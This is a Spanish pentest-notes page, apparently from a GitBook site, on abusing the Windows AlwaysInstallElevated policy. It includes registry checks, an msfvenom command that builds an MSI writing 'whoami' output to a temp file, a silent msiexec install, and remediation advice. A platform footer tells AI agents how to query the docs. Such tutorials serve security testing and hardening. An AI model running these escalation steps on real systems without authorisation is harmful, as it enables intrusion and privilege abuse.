> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# Escalada de privilegios en Windows con AlwaysInstallElevated

`AlwaysInstallElevated` es una directiva peligrosa de Windows que permite a un usuario sin privilegios de administrador instalar paquetes MSI con privilegios elevados cuando están habilitadas tanto las claves del Registro del usuario actual como las del equipo local.

## Detección

El hallazgo es explotable cuando ambos valores devuelven `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/9440758c7a8b7d8b030c90f8639d93b71dc7743e" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## Validación en laboratorio

En un laboratorio controlado, crea un MSI que realice una acción de validación claramente visible, como escribir la identidad elevada en un archivo temporal. Sustituye la acción por la carga útil autorizada solo después de confirmar el alcance y la configuración del listener.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/530a38cd3a1151068de20327fc3279567ab4ebaf" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## Ejecutar el instalador

Instala el MSI en modo silencioso:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/ea7cc41893950cfbbd3a5daec212704d38e267b6" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## Puntos clave

* Ambas claves del Registro deben estar habilitadas.
* El MSI se ejecuta con privilegios elevados.
* Si solo una clave está habilitada, consérvala como un hallazgo de endurecimiento, pero no la consideres una escalada de privilegios funcional.
* Corrígelo deshabilitando la directiva y supervisando las instalaciones anómalas de MSI.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
